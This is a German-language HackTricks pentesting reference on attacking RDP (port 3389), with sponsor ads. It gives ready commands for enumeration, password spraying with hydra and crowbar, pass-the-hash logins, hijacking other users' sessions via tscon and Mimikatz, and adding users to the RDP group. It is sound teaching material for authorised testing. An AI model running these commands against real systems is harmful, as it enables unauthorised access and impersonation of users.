10 KiB
3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Grundinformationen
Entwickelt von Microsoft, ist das Remote Desktop Protocol (RDP) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den RDP-Client verwendet, während der entfernte Computer gleichzeitig Software für den RDP-Server betreiben muss. Dieses Setup ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
Standardport: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Aufzählung
Automatisch
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Es überprüft die verfügbaren Verschlüsselungen und DoS-Schwachstellen (ohne DoS für den Dienst zu verursachen) und erhält NTLM Windows-Informationen (Versionen).
Brute force
Sei vorsichtig, du könntest Konten sperren
Password Spraying
Sei vorsichtig, du könntest Konten sperren
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Mit bekannten Anmeldeinformationen/Hash verbinden
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Überprüfen Sie bekannte Anmeldeinformationen gegen RDP-Dienste
rdp_check.py von impacket ermöglicht es Ihnen, zu überprüfen, ob einige Anmeldeinformationen für einen RDP-Dienst gültig sind:
rdp_check <domain>/<name>:<password>@<IP>
Sofort verfügbare Einrichtung zur Schwachstellenbewertung & Penetrationstest. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Angriffe
Sitzungsdiebstahl
Mit SYSTEM-Berechtigungen können Sie auf jede geöffnete RDP-Sitzung eines beliebigen Benutzers zugreifen, ohne das Passwort des Eigentümers zu kennen.
Geöffnete Sitzungen abrufen:
query user
Zugriff auf die ausgewählte Sitzung
tscon <ID> /dest:<SESSIONNAME>
Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie werden einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren.
Wichtig: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
Sie könnten Passwörter durch das Dumpen des Prozesses erhalten, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad, ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)
Mimikatz
Sie könnten auch Mimikatz verwenden, um dies zu tun:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Durch die Kombination dieser Technik mit stickykeys oder utilman kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.
Du kannst RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: https://github.com/linuz/Sticky-Keys-Slayer
RDP Prozessinjektion
Wenn sich jemand aus einer anderen Domäne oder mit besseren Berechtigungen über RDP an dem PC anmeldet, an dem du Admin bist, kannst du dein Beacon in seinen RDP-Sitzungsprozess injizieren und als er handeln:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Benutzer zur RDP-Gruppe hinzufügen
net localgroup "Remote Desktop Users" UserLoginName /add
Automatische Werkzeuge
AutoRDPwn ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den Shadow-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung zu sehen und ihn sogar auf Abruf zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.
- EvilRDP
- Steuere Maus und Tastatur automatisiert über die Befehlszeile
- Steuere die Zwischenablage automatisiert über die Befehlszeile
- Erzeuge einen SOCKS-Proxy vom Client, der die Netzwerkkommunikation über RDP zum Ziel leitet
- Führe beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen
- Lade Dateien zum/vom Ziel hoch und herunter, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind
HackTricks Automatische Befehle
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.